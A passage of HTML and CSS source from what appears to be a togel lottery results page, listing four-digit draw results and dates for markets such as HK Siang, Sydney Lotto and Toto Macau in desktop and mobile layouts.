1000px; 2695 transition: max-height 0.25s ease-in; 2696 } 2697 2698 .result { 2699 height: 110px; 2700 width: 96px; 2701 border-radius: 10px; 2702 background: var(--result-background); 2703 border: var(--result-border); 2704 2705 display: grid; 2706 grid-template-rows: 0px 20px 1fr 28px; 2707 grid-template-areas: 2708 "badge" 2709 "pasaran" 2710 "keluaran" 2711 "tanggal" 2712 ; 2713 2714 /* display: flex; 2715 flex-direction: column; 2716 justify-content: space-between; */ 2717 2718 overflow: hidden; 2719 } 2720 2721 .badge { 2722 grid-area: badge; 2723 display: grid; 2724 place-items: center; 2725 } 2726 2727 .result>.pasaran { 2728 2729 grid-area: pasaran; 2730 2731 padding-top: 8px; 2732 white-space: nowrap; 2733 font-size: .7rem; 2734 line-height: .7rem; 2735 2736 color: var(--result-pasaran-color); 2737 display: grid; 2738 place-items: center; 2739 } 2740 2741 .result>.keluaran { 2742 2743 grid-area: keluaran; 2744 padding-bottom: 8px; 2745 font-family: 'Oswald', sans-serif; 2746 line-height: 40px; 2747 font-size: 40px; 2748 color: var(--result-keluaran-color); 2749 display: grid; 2750 place-items: center; 2751 } 2752 2753 .result>.tanggal { 2754 2755 grid-area: tanggal; 2756 2757 width: 100%; 2758 height: 100%; 2759 /* background: rgb(40,0,0); 2760 background: linear-gradient(0deg, rgba(80,0,0,1) 0%, rgb(164, 2, 2) 100%); */ 2761 background: var(--result-tanggal-background); 2762 white-space: nowarp; 2763 font-size: .79rem; 2764 display: grid; 2765 place-items: center; 2766 font-family: 'Abel', sans-serif; 2767 color: var(--result-tanggal-color); 2768 } 2769 2770 @media only screen and (max-width: 1000px) { 2771 2772 .togel-desktop { 2773 display: none; 2774 } 2775 2776 .togel-mobile { 2777 2778 background: var(--secondary-background); 2779 grid-area: togel-mobile; 2780 padding: 24px; 2781 padding-bottom: 12px; 2782 box-shadow: rgba(0,0,0,1) 0px 0px 10px 0px; 2783 } 2784 2785 .togel-title { 2786 padding: 0px; 2787 padding-bottom: 20px; 2788 font-size: 1.4rem; 2789 font-weight: bold; 2790 color: var(--primary-text-color); 2791 } 2792 2793 .togel-content { 2794 max-height: fit-content; 2795 display: grid; 2796 grid-template-columns: 1fr; 2797 gap: 0; 2798 border-radius: 8px; 2799 } 2800 2801 2802 2803 .provider-group { 2804 padding: var(--mobile-padding-horizontal); 2805 } 2806 2807 .badge { 2808 display: none; 2809 } 2810 2811 .result { 2812 height: auto; 2813 width: 100%; 2814 display: grid; 2815 grid-template-rows: 1fr; 2816 grid-template-columns: 1fr 1fr 80px; 2817 grid-template-areas: "pasaran tanggal keluaran"; 2818 border-radius: 0; 2819 border: none; 2820 background: transparent; 2821 padding: 4px 12px; 2822 color: var(--primary-text-color); 2823 font-family: 'Abel', sans-serif; 2824 2825 } 2826 2827 2828 .result-data:nth-child(odd) { 2829 background: linear-gradient(0deg, rgba(255,255,255,0.1) 0%, rgba(255,255,255,0.1) 100%), var(--secondary-background); 2830 } 2831 2832 2833 .accordion-item { 2834 background-color: transparent; 2835 border: 0px; 2836 } 2837 2838 .accordion-button:not(.collapsed) { 2839 color: inherit; 2840 background-color: transparent; 2841 box-shadow: none; 2842 } 2843 2844 .accordion-button::after { 2845 height: 0px; 2846 } 2847 2848 .result>* { 2849 padding: 0px!important; 2850 margin: 0px!important; 2851 font-size: 1.4rem!important; 2852 line-height: auto!important; 2853 font-weight: normal!important; 2854 } 2855 2856 .result>.pasaran { 2857 display: flex; 2858 justify-content: start; 2859 color: var(--primary-text-color)!important; 2860 opacity: .7; 2861 } 2862 2863 .result>.tanggal { 2864 display: flex; 2865 justify-content: center; 2866 background: transparent; 2867 color: var(--primary-text-color)!important; 2868 opacity: .7; 2869 } 2870 2871 .result>.keluaran { 2872 display: flex; 2873 justify-content: end; 2874 /*color: var(--primary-text-color)!important;*/ 2875 font-family: 'Abel', sans-serif; 2876 color: var(--highlight-text-color); 2877 } 2878 2879 } 2880 </style> 2881 2882 2883 2884 <div id="togel-desktop" class="togel-desktop desktop-only"> 2885 2886 <div class="show-more desktop-only"> 2887 <div class="show-more-content"> 2888 <i class="bi bi-chevron-compact-down" style="font-size: 24px; line-height: 24px"></i> 2889 </div> 2890 </div> 2891 2892 2893 2894 <div class="togel-content see-more"> 2895 <!-- <a href="/?content=hasil&pid=HKD" class="result"> --> 2896 <a href="/hasil/HKD" class="result"> 2897 2898 <div class="badge"> 2899 </div> 2900 2901 <div class="pasaran">HK SIANG </div> 2902 <div class="keluaran">3738</div> 2903 <div class="tanggal"> 9/10/2026</div> 2904 </a> 2905 <!-- <a href="/?content=hasil&pid=SYL" class="result"> --> 2906 <a href="/hasil/SYL" class="result"> 2907 2908 <div class="badge"> 2909 </div> 2910 2911 <div class="pasaran">SYDNEY LOTTO </div> 2912 <div class="keluaran">0188</div> 2913 <div class="tanggal"> 9/10/2026</div> 2914 </a> 2915 <!-- <a href="/?content=hasil&pid=HAI" class="result"> --> 2916 <a href="/hasil/HAI" class="result"> 2917 2918 <div class="badge"> 2919 </div> 2920 2921 <div class="pasaran">HAIPHONG </div> 2922 <div class="keluaran">3871</div> 2923 <div class="tanggal"> 9/10/2026</div> 2924 </a> 2925 <!-- <a href="/?content=hasil&pid=SG" class="result"> --> 2926 <a href="/hasil/SG" class="result"> 2927 2928 <div class="badge"> 2929 </div> 2930 2931 <div class="pasaran">SINGAPORE </div> 2932 <div class="keluaran">2855</div> 2933 <div class="tanggal"> 8/10/2026</div> 2934 </a> 2935 <!-- <a href="/?content=hasil&pid=MY" class="result"> --> 2936 <a href="/hasil/MY" class="result"> 2937 2938 <div class="badge"> 2939 </div> 2940 2941 <div class="pasaran">MALAYSIA </div> 2942 <div class="keluaran">6034</div> 2943 <div class="tanggal"> 9/10/2026</div> 2944 </a> 2945 <!-- <a href="/?content=hasil&pid=JINAN" class="result"> --> 2946 <a href="/hasil/JINAN" class="result"> 2947 2948 <div class="badge"> 2949 </div> 2950 2951 <div class="pasaran">JINAN </div> 2952 <div class="keluaran">1195</div> 2953 <div class="tanggal"> 9/10/2026</div> 2954 </a> 2955 <!-- <a href="/?content=hasil&pid=QTR" class="result"> --> 2956 <a href="/hasil/QTR" class="result"> 2957 2958 <div class="badge"> 2959 </div> 2960 2961 <div class="pasaran">QATAR </div> 2962 <div class="keluaran">8696</div> 2963 <div class="tanggal"> 9/10/2026</div> 2964 </a> 2965 <!-- <a href="/?content=hasil&pid=BGP" class="result"> --> 2966 <a href="/hasil/BGP" class="result"> 2967 2968 <div class="badge"> 2969 </div> 2970 2971 <div class="pasaran">BOGOR </div> 2972 <div class="keluaran">5233</div> 2973 <div class="tanggal"> 9/10/2026</div> 2974 </a> 2975 <!-- <a href="/?content=hasil&pid=HKL" class="result"> --> 2976 <a href="/hasil/HKL" class="result"> 2977 2978 <div class="badge"> 2979 </div> 2980 2981 <div class="pasaran">HONGKONG LOTTO </div> 2982 <div class="keluaran">4650</div> 2983 <div class="tanggal"> 9/10/2026</div> 2984 </a> 2985 <!-- <a href="/?content=hasil&pid=TWH" class="result"> --> 2986 <a href="/hasil/TWH" class="result"> 2987 2988 <div class="badge"> 2989 </div> 2990 2991 <div class="pasaran">
2991TOTO WUHAN </div> 2992 <div class="keluaran">6536</div> 2993 <div class="tanggal"> 10/10/2026</div> 2994 </a> 2995 <!-- <a href="/?content=hasil&pid=TTM00" class="result"> --> 2996 <a href="/hasil/TTM00" class="result"> 2997 2998 <div class="badge"> 2999 </div> 3000 3001 <div class="pasaran">TOTO MACAU0000 </div> 3002 <div class="keluaran">2412</div> 3003 <div class="tanggal"> 9/10/2026</div> 3004 </a> 3005 <!-- <a href="/?content=hasil&pid=TTM13" class="result"> --> 3006 <a href="/hasil/TTM13" class="result"> 3007 3008 <div class="badge"> 3009 </div> 3010 3011 <div class="pasaran">TOTOMACAU1300 </div> 3012 <div class="keluaran">2582</div> 3013 <div class="tanggal"> 9/10/2026</div> 3014 </a> 3015 <!-- <a href="/?content=hasil&pid=TTM16" class="result"> --> 3016 <a href="/hasil/TTM16" class="result"> 3017 3018 <div class="badge"> 3019 </div> 3020 3021 <div class="pasaran">TOTOMACAU1600 </div> 3022 <div class="keluaran">1103</div> 3023 <div class="tanggal"> 9/10/2026</div> 3024 </a> 3025 <!-- <a href="/?content=hasil&pid=TTM19" class="result"> --> 3026 <a href="/hasil/TTM19" class="result"> 3027 3028 <div class="badge"> 3029 </div> 3030 3031 <div class="pasaran">TOTOMACAU1900 </div> 3032 <div class="keluaran">8919</div> 3033 <div class="tanggal"> 9/10/2026</div> 3034 </a> 3035 <!-- <a href="/?content=hasil&pid=TTM22" class="result"> --> 3036 <a href="/hasil/TTM22" class="result"> 3037 3038 <div class="badge"> 3039 </div> 3040 3041 <div class="pasaran">TOTOMACAU2200 </div> 3042 <div class="keluaran">6078</div> 3043 <div class="tanggal"> 9/10/2026</div> 3044 </a> 3045 <!-- <a href="/?content=hasil&pid=TTM23" class="result"> --> 3046 <a href="/hasil/TTM23" class="result"> 3047 3048 <div class="badge"> 3049 </div> 3050 3051 <div class="pasaran">TOTOMACAU2300 </div> 3052 <div class="keluaran">6884</div> 3053 <div class="tanggal"> 9/10/2026</div> 3054 </a> 3055 3056 </div> 3057 </div> 3058 3059 <div id="togel-mobile" class="togel-mobile mobile-only"> 3060 3061 <div class="togel-title">Togel Result</div> 3062 3063 3064 <div class="carousel slide p-0" data-bs-ride="carousel" style="min-height: 520px"> 3065 <div id="mobile-togel" class="carousel-indicators" style="margin-bottom: 0px"> 3066 3067 <button type="button" data-bs-target="#mobile-togel" data-bs-slide-to="0" class="active" aria-current="true" aria-label="Slide 1"></button> 3068 <button type="button" data-bs-target="#mobile-togel" data-bs-slide-to="1" aria-label="Slide 2"></button> 3069 3070 </div> 3071 <div class="carousel-inner"> 3072 3073 <div class='carousel-item accordion accordion-flush active'> <div class="result-data accordion-item"> 3074 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-HKD"> 3075 <div class="badge"> 3076 </div> 3077 <div class="pasaran">HK SIANG </div> 3078 <div class="keluaran">3738</div> 3079 <div class="tanggal">09-10-2026</div> 3080 </button> 3081 <div id="paito-HKD" class="accordion-collapse collapse"> 3082 3083 <div class="result"> 3084 <div class="pasaran"></div> 3085 <div class="keluaran">1257</div> 3086 <div class="tanggal">08-10-2026</div> 3087 </div> 3088 3089 <div class="result"> 3090 <div class="pasaran"></div> 3091 <div class="keluaran">6727</div> 3092 <div class="tanggal">07-10-2026</div> 3093 </div> 3094 3095 <div class="result"> 3096 <div class="pasaran"></div> 3097 <div class="keluaran">4776</div> 3098 <div class="tanggal">06-10-2026</div> 3099 </div> 3100 3101 <div class="result"> 3102 <div class="pasaran"></div> 3103 <div class="keluaran">0870</div> 3104 <div class="tanggal">05-10-2026</div> 3105 </div> 3106 3107 <div class="result"> 3108 <div class="pasaran"></div> 3109 <div class="keluaran">3772</div> 3110 <div class="tanggal">04-10-2026</div> 3111 </div> 3112 3113 <div class="result"> 3114 <div class="pasaran"></div> 3115 <div class="keluaran">0546</div> 3116 <div class="tanggal">03-10-2026</div> 3117 </div> 3118 3119 <div class="result"> 3120 <div class="pasaran"></div> 3121 <div class="keluaran">7631</div> 3122 <div class="tanggal">02-10-2026</div> 3123 </div> 3124 </div> 3125 </div> 3126 3127 <div class="result-data accordion-item"> 3128 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-SYL"> 3129 <div class="badge"> 3130 </div> 3131 <div class="pasaran">SYDNEY LOTTO </div> 3132 <div class="keluaran">0188</div> 3133 <div class="tanggal">09-10-2026</div> 3134 </button> 3135 <div id="paito-SYL" class="accordion-collapse collapse"> 3136 3137 <div class="result"> 3138 <div class="pasaran"></div> 3139 <div class="keluaran">2532</div> 3140 <div class="tanggal">08-10-2026</div> 3141 </div> 3142 3143 <div class="result"> 3144 <div class="pasaran"></div> 3145 <div class="keluaran">1832</div> 3146 <div class="tanggal">07-10-2026</div> 3147 </div> 3148 3149 <div class="result"> 3150 <div class="pasaran"></div> 3151 <div class="keluaran">3417</div> 3152 <div class="tanggal">06-10-2026</div> 3153 </div> 3154 3155 <div class="result"> 3156 <div class="pasaran"></div> 3157 <div class="keluaran">0672</div> 3158 <div class="tanggal">05-10-2026</div> 3159 </div> 3160 3161 <div class="result"> 3162 <div class="pasaran"></div> 3163 <div class="keluaran">0111</div> 3164 <div class="tanggal">04-10-2026</div> 3165 </div> 3166 3167 <div class="result"> 3168 <div class="pasaran"></div> 3169 <div class="keluaran">2503</div> 3170 <div class="tanggal">03-10-2026</div> 3171 </div> 3172 3173 <div class="result"> 3174 <div class="pasaran"></div> 3175 <div class="keluaran">2958</div> 3176 <div class="tanggal">02-10-2026</div> 3177 </div> 3178 </div> 3179 </div> 3180 3181 <div class="result-data accordion-item"> 3182 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-HAI"> 3183 <div class="badge"> 3184 </div> 3185 <div class="pasaran">HAIPHONG </div> 3186 <div class="keluaran">3871</div> 3187 <div class="tanggal">09-10-2026</div> 3188 </button> 3189 <div id="paito-HAI" class="accordion-collapse collapse"> 3190 3191 <div class="result"> 3192 <div class="pasaran"></div> 3193 <div class="keluaran">0105</div> 3194 <div class="tanggal">08-10-2026</div> 3195 </div> 3196 3197 <div class="result"> 3198 <div class="pasaran"></div> 3199 <div class="keluaran">0525</div> 3200 <div class="tanggal">07-10-2026</div> 3201 </div> 3202 3203 <div class="result"> 3204 <div class="pasaran"></div> 3205 <div class="keluaran">0551</div> 3206 <div class="tanggal">06-10-2026</div> 3207 </div> 3208 3209 <div class="result"> 3210 <div class="pasaran"></div> 3211 <div class="keluaran">4249</div> 3212 <div class="tanggal">05-10-2026</div> 3213 </div> 3214 3215 <div class="result"> 3216 <div class="pasaran"></div> 3217 <div class="keluaran">7549</div> 3218 <div class="tanggal">04-10-2026</div> 3219 </div> 3220 3221 <div class="result"> 3222 <div class="pasaran"></div> 3223 <div class="keluaran">1138</div> 3224 <div class="tanggal">03-10-2026</div> 3225 </div> 3226 3227 <div class="result"> 3228 <div class="pasaran"></div> 3229 <div class="keluaran">3140</div> 3230 <div class="tanggal">02-10-2026</div> 3231 </div> 3232 </div> 3233 </div> 3234 3235 <div class="result-data accordion-item"> 3236 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-SG"> 3237 <div class="badge"> 3238 </div> 3239 <div class="pasaran">SINGAPOR
3239E </div> 3240 <div class="keluaran">2855</div> 3241 <div class="tanggal">08-10-2026</div> 3242 </button> 3243 <div id="paito-SG" class="accordion-collapse collapse"> 3244 3245 <div class="result"> 3246 <div class="pasaran"></div> 3247 <div class="keluaran">9838</div> 3248 <div class="tanggal">07-10-2026</div> 3249 </div> 3250 3251 <div class="result"> 3252 <div class="pasaran"></div> 3253 <div class="keluaran">3897</div> 3254 <div class="tanggal">05-10-2026</div> 3255 </div> 3256 3257 <div class="result"> 3258 <div class="pasaran"></div> 3259 <div class="keluaran">2812</div> 3260 <div class="tanggal">04-10-2026</div> 3261 </div> 3262 3263 <div class="result"> 3264 <div class="pasaran"></div> 3265 <div class="keluaran">3670</div> 3266 <div class="tanggal">03-10-2026</div> 3267 </div> 3268 3269 <div class="result"> 3270 <div class="pasaran"></div> 3271 <div class="keluaran">9006</div> 3272 <div class="tanggal">01-10-2026</div> 3273 </div> 3274 3275 <div class="result"> 3276 <div class="pasaran"></div> 3277 <div class="keluaran">3096</div> 3278 <div class="tanggal">30-09-2026</div> 3279 </div> 3280 3281 <div class="result"> 3282 <div class="pasaran"></div> 3283 <div class="keluaran">7185</div> 3284 <div class="tanggal">28-09-2026</div> 3285 </div> 3286 </div> 3287 </div> 3288 3289 <div class="result-data accordion-item"> 3290 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-MY"> 3291 <div class="badge"> 3292 </div> 3293 <div class="pasaran">MALAYSIA </div> 3294 <div class="keluaran">6034</div> 3295 <div class="tanggal">09-10-2026</div> 3296 </button> 3297 <div id="paito-MY" class="accordion-collapse collapse"> 3298 3299 <div class="result"> 3300 <div class="pasaran"></div> 3301 <div class="keluaran">2991</div> 3302 <div class="tanggal">08-10-2026</div> 3303 </div> 3304 3305 <div class="result"> 3306 <div class="pasaran"></div> 3307 <div class="keluaran">3932</div> 3308 <div class="tanggal">07-10-2026</div> 3309 </div> 3310 3311 <div class="result"> 3312 <div class="pasaran"></div> 3313 <div class="keluaran">4883</div> 3314 <div class="tanggal">06-10-2026</div> 3315 </div> 3316 3317 <div class="result"> 3318 <div class="pasaran"></div> 3319 <div class="keluaran">4639</div> 3320 <div class="tanggal">05-10-2026</div> 3321 </div> 3322 3323 <div class="result"> 3324 <div class="pasaran"></div> 3325 <div class="keluaran">4920</div> 3326 <div class="tanggal">04-10-2026</div> 3327 </div> 3328 3329 <div class="result"> 3330 <div class="pasaran"></div> 3331 <div class="keluaran">8849</div> 3332 <div class="tanggal">03-10-2026</div> 3333 </div> 3334 3335 <div class="result"> 3336 <div class="pasaran"></div> 3337 <div class="keluaran">
33377141</div> 3338 <div class="tanggal">02-10-2026</div> 3339 </div> 3340 </div> 3341 </div> 3342 3343 <div class="result-data accordion-item"> 3344 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-JINAN"> 3345 <div class="badge"> 3346 </div> 3347 <div class="pasaran">JINAN </div> 3348 <div class="keluaran">1195</div> 3349 <div class="tanggal">09-10-2026</div> 3350 </button> 3351 <div id="paito-JINAN" class="accordion-collapse collapse"> 3352 3353 <div class="result"> 3354 <div class="pasaran"></div> 3355 <div class="keluaran">2308</div> 3356 <div class="tanggal">08-10-2026</div> 3357 </div> 3358 3359 <div class="result"> 3360 <div class="pasaran"></div> 3361 <div class="keluaran">7741</div> 3362 <div class="tanggal">07-10-2026</div> 3363 </div> 3364 3365 <div class="result"> 3366 <div class="pasaran"></div> 3367 <div class="keluaran">6704</div> 3368 <div class="tanggal">06-10-2026</div> 3369 </div> 3370 3371 <div class="result"> 3372 <div class="pasaran"></div> 3373 <div class="keluaran">0162</div> 3374 <div class="tanggal">05-10-2026</div> 3375 </div> 3376 3377 <div class="result"> 3378 <div class="pasaran"></div> 3379 <div class="keluaran">6234</div> 3380 <div class="tanggal">04-10-2026</div> 3381 </div> 3382 3383 <div class="result"> 3384 <div class="pasaran"></div> 3385 <div class="keluaran">1768</div> 3386 <div class="tanggal">03-10-2026</div> 3387 </div> 3388 3389 <div class="result"> 3390 <div class="pasaran"></div> 3391 <div class="keluaran">6039</div> 3392 <div class="tanggal">02-10-2026</div> 3393 </div> 3394 </div> 3395 </div> 3396 3397 <div class="result-data accordion-item"> 3398 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-QTR"> 3399 <div class="badge"> 3400 </div> 3401 <div class="pasaran">QATAR </div> 3402 <div class="keluaran">8696</div> 3403 <div class="tanggal">09-10-2026</div> 3404 </button> 3405 <div id="paito-QTR" class="accordion-collapse collapse"> 3406 3407 <div class="result"> 3408 <div class="pasaran"></div> 3409 <div class="keluaran">8317</div> 3410 <div class="tanggal">08-10-2026</div> 3411 </div> 3412 3413 <div class="result"> 3414 <div class="pasaran"></div> 3415 <div class="keluaran">9915</div> 3416 <div class="tanggal">07-10-2026</div> 3417 </div> 3418 3419 <div class="result"> 3420 <div class="pasaran"></div> 3421 <div class="keluaran">5740</div> 3422 <div class="tanggal">06-10-2026</div> 3423 </div> 3424 3425 <div class="result"> 3426 <div class="pasaran"></div> 3427 <div class="keluaran">8643</div> 3428 <div class="tanggal">05-10-2026</div> 3429 </div> 3430 3431 <div class="result"> 3432 <div class="pasaran"></div> 3433 <div class="keluaran">0646</div> 3434 <div class="tanggal">04-10-2026</div> 3435 </div> 3436 3437 <div class="result"> 3438 <div class="pasaran"></div> 3439 <div class="keluaran">7691</div> 3440 <div class="tanggal">03-10-2026</div> 3441 </div> 3442 3443 <div class="result"> 3444 <div class="pasaran"></div> 3445 <div class="keluaran">3505</div> 3446 <div class="tanggal">02-10-2026</div> 3447 </div> 3448 </div> 3449 </div> 3450 3451 <div class="result-data accordion-item"> 3452 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-BGP"> 3453 <div class="badge"> 3454 </div> 3455 <div class="pasaran">BOGOR </div> 3456 <div class="keluaran">5233</div> 3457 <div class="tanggal">09-10-2026</div> 3458 </button> 3459 <div id="paito-BGP" class="accordion-collapse collapse"> 3460 3461 <div class="result"> 3462 <div class="pasaran"></div> 3463 <div class="keluaran">3188</div> 3464 <div class="tanggal">08-10-2026</div> 3465 </div> 3466 3467 <div class="result"> 3468 <div class="pasaran"></div> 3469 <div class="keluaran">0438</div> 3470 <div class="tanggal">07-10-2026</div> 3471 </div> 3472 3473 <div class="result"> 3474 <div class="pasaran"></div> 3475 <div class="keluaran">0188</div> 3476 <div class="tanggal">06-10-2026</div> 3477 </div> 3478 3479 <div class="result"> 3480 <div class="pasaran"></div> 3481 <div class="keluaran">1029</div> 3482 <div class="tanggal">05-10-2026</div> 3483 </div> 3484 3485 <div class="result"> 3486 <div class="pasaran"></div> 3487 <div class="keluaran">9860</div> 3488 <div class="tanggal">04-10-2026</div> 3489 </div> 3490 3491 <div class="result"> 3492 <div class="pasaran"></div> 3493 <div class="keluaran">1320</div> 3494 <div class="tanggal">03-10-2026</div> 3495 </div> 3496 3497 <div class="result"> 3498 <div class="pasaran"></div> 3499 <div class="keluaran">1199</div> 3500 <div class="tanggal">02-10-2026</div> 3501 </div> 3502 </div> 3503 </div> 3504 3505 <div class="result-data accordion-item"> 3506 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-HKL"> 3507 <div class="badge"> 3508 </div> 3509 <div class="pasaran">HONGKONG LOTTO </div> 3510 <div class="keluaran">4650</div> 3511 <div class="tanggal">09-10-2026</div> 3512 </button> 3513 <div id="paito-HKL" class="accordion-collapse collapse"> 3514 3515 <div class="result"> 3516 <div class="pasaran"></div> 3517 <div class="keluaran">7071</div> 3518 <div class="tanggal">08-10-2026</div> 3519 </div> 3520 3521 <div class="result"> 3522 <div class="pasaran"></div> 3523 <div class="keluaran">2431</div> 3524 <div class="tanggal">07-10-2026</div> 3525 </div> 3526 3527 <div class="result"> 3528 <div class="pasaran"></div> 3529 <div class="keluaran">0498</div> 3530 <div class="tanggal">06-10-2026</div> 3531 </div> 3532 3533 <div class="result"> 3534 <div class="pasaran"></div> 3535 <div class="keluaran">8012</div> 3536 <div class="tanggal">05-10-2026</div> 3537 </div> 3538 3539 <div class="result"> 3540 <div class="pasaran"></div> 3541 <div class="keluaran">0416</div> 3542 <div class="tanggal">04-10-2026</div> 3543 </div> 3544 3545 <div class="result"> 3546 <div class="pasaran"></div> 3547 <div class="keluaran">2510</div> 3548 <div class="tanggal">03-10-2026</div> 3549 </div> 3550 3551 <div class="result"> 3552 <div class="pasaran"></div> 3553 <div class="keluaran">1561</div> 3554 <div class="tanggal">02-10-2026</div> 3555 </div> 3556 </div> 3557 </div> 3558 3559 <div class="result-data accordion-item"> 3560 <button class="result accordion-button" type="button" data-bs-to
3560ggle="collapse" data-bs-target="#paito-TWH"> 3561 <div class="badge"> 3562 </div> 3563 <div class="pasaran">TOTO WUHAN </div> 3564 <div class="keluaran">6536</div> 3565 <div class="tanggal">10-10-2026</div> 3566 </button> 3567 <div id="paito-TWH" class="accordion-collapse collapse"> 3568 3569 <div class="result"> 3570 <div class="pasaran"></div> 3571 <div class="keluaran">9250</div> 3572 <div class="tanggal">09-10-2026</div> 3573 </div> 3574 3575 <div class="result"> 3576 <div class="pasaran"></div> 3577 <div class="keluaran">4208</div> 3578 <div class="tanggal">09-10-2026</div> 3579 </div> 3580 3581 <div class="result"> 3582 <div class="pasaran"></div> 3583 <div class="keluaran">6154</div> 3584 <div class="tanggal">09-10-2026</div> 3585 </div> 3586 3587 <div class="result"> 3588 <div class="pasaran"></div> 3589 <div class="keluaran">3312</div> 3590 <div class="tanggal">09-10-2026</div> 3591 </div> 3592 3593 <div class="result"> 3594 <div class="pasaran"></div> 3595 <div class="keluaran">4840</div> 3596 <div class="tanggal">09-10-2026</div> 3597 </div> 3598 3599 <div class="result"> 3600 <div class="pasaran"></div> 3601 <div class="keluaran">6631</div> 3602 <div class="tanggal">09-10-2026</div> 3603 </div> 3604 3605 <div class="result"> 3606 <div class="pasaran"></div> 3607 <div class="keluaran">1674</div> 3608 <div class="tanggal">08-10-2026</div> 3609 </div> 3610 </div> 3611 </div> 3612 3613 </div><div class='carousel-item accordion accordion-flush'> <div class="result-data accordion-item"> 3614 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-TTM00"> 3615 <div class="badge"> 3616 </div> 3617 <div class="pasaran">TOTO MACAU0000 </div> 3618 <div class="keluaran">2412</div> 3619 <div class="tanggal">09-10-2026</div> 3620 </button> 3621 <div id="paito-TTM00" class="accordion-collapse collapse"> 3622 3623 <div class="result"> 3624 <div class="pasaran"></div> 3625 <div class="keluaran">7036</div> 3626 <div class="tanggal">08-10-2026</div> 3627 </div> 3628 3629 <div class="result"> 3630 <div class="pasaran"></div> 3631 <div class="keluaran">1825</div> 3632 <div class="tanggal">07-10-2026</div> 3633 </div> 3634 3635 <div class="result"> 3636 <div class="pasaran"></div> 3637 <div class="keluaran">1791</div> 3638 <div class="tanggal">06-10-2026</div> 3639 </div> 3640 3641 <div class="result"> 3642 <div class="pasaran"></div> 3643 <div class="keluaran">2360</div> 3644 <div class="tanggal">05-10-2026</div> 3645 </div> 3646 3647 <div class="result"> 3648 <div class="pasaran"></div> 3649 <div class="keluaran">0422</div> 3650 <div class="tanggal">04-10-2026</div> 3651 </div> 3652 3653 <div class="result"> 3654 <div class="pasaran"></div> 3655 <div class="keluaran">0437</div> 3656 <div class="tanggal">03-10-2026</div> 3657 </div> 3658 3659 <div class="result"> 3660 <div class="pasaran"></div> 3661 <div class="keluaran">1329</div> 3662 <div class="tanggal">02-10-2026</div> 3663 </div> 3664 </div> 3665 </div> 3666 3667 <div class="result-data accordion-item"> 3668 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-TTM13"> 3669 <div class="badge"> 3670 </div> 3671 <div class="pasaran">TOTOMACAU1300 </div> 3672 <div class="keluaran">2582</div> 3673 <div class="tanggal">09-10-2026</div> 3674 </button> 3675 <div id="paito-TTM13" class="accordion-collapse collapse"> 3676 3677 <div class="result"> 3678 <div class="pasaran"></div> 3679 <div class="keluaran">4518</div> 3680 <div class="tanggal">08-10-2026</div> 3681 </div> 3682 3683 <div class="result"> 3684 <div class="pasaran"></div> 3685 <div class="keluaran">2492</div> 3686 <div class="tanggal">07-10-2026</div> 3687 </div> 3688 3689 <div class="result"> 3690 <div class="pasaran"></div> 3691 <div class="keluaran">5625</div> 3692 <div class="tanggal">06-10-2026</div> 3693 </div> 3694 3695 <div class="result"> 3696 <div class="pasaran"></div> 3697 <div class="keluaran">6520</div> 3698 <div class="tanggal">05-10-2026</div> 3699 </div> 3700 3701 <div class="result"> 3702 <div class="pasaran"></div> 3703 <div class="keluaran">9711</div> 3704 <div class="tanggal">04-10-2026</div> 3705 </div> 3706 3707 <div class="result"> 3708 <div class="pasaran"></div> 3709 <div class="keluaran">9180</div> 3710 <div class="tanggal">03-10-2026</div> 3711 </div> 3712 3713 <div class="result"> 3714 <div class="pasaran"></div> 3715 <div class="keluaran">2811</div> 3716 <div class="tanggal">02-10-2026</div> 3717 </div> 3718 </div> 3719 </div> 3720 3721 <div class="result-data accordion-item"> 3722 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-TTM16"> 3723 <div class="badge"> 3724 </div> 3725 <div class="pasaran">TOTOMACAU1600 </div> 3726 <div class="keluaran">1103</div> 3727 <div class="tanggal">09-10-2026</div> 3728 </button> 3729 <div id="paito-TTM16" class="accordion-collapse collapse"> 3730 3731 <div class="result"> 3732 <div class="pasaran"></div> 3733 <div class="keluaran">6360</div> 3734 <div class="tanggal">08-10-2026</div> 3735 </div> 3736 3737 <div class="result"> 3738 <div class="pasaran"></div> 3739 <div class="keluaran">9210</div> 3740 <div class="tanggal">07-10-2026</div> 3741 </div> 3742 3743 <div class="result"> 3744 <div class="pasaran"></div> 3745 <div class="keluaran">2371</div> 3746 <div class="tanggal">06-10-2026</div> 3747 </div> 3748 3749 <div class="result"> 3750 <div class="pasaran"></div> 3751 <div class="keluaran">2786</div> 3752 <div class="tanggal">05-10-2026</div> 3753 </div> 3754 3755 <div class="result"> 3756 <div class="pasaran"></div> 3757 <div class="keluaran">6416</div> 3758 <div class="tanggal">04-10-2026</div> 3759 </div> 3760 3761 <div class="result"> 3762 <div class="pasaran"></div> 3763 <div class="keluaran">1710</div> 3764 <div class="tanggal">03-10-2026</div> 3765 </div> 3766 3767 <div class="result"> 3768 <div class="pasaran"></div> 3769 <div class="keluaran">2964</div> 3770 <div class="tanggal">02-10-2026</div> 3771 </div> 3772 </div> 3773 </div> 3774 3775 <div class="result-data accordion-item"> 3776 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-TTM19"> 3777 <div class="badge"> 3778 </div> 3779 <div class="pasaran">TOTOMACAU1900 </div> 3780 <div class="keluaran">8919</div> 3781 <div class="tanggal">09-10-2026</div> 3782
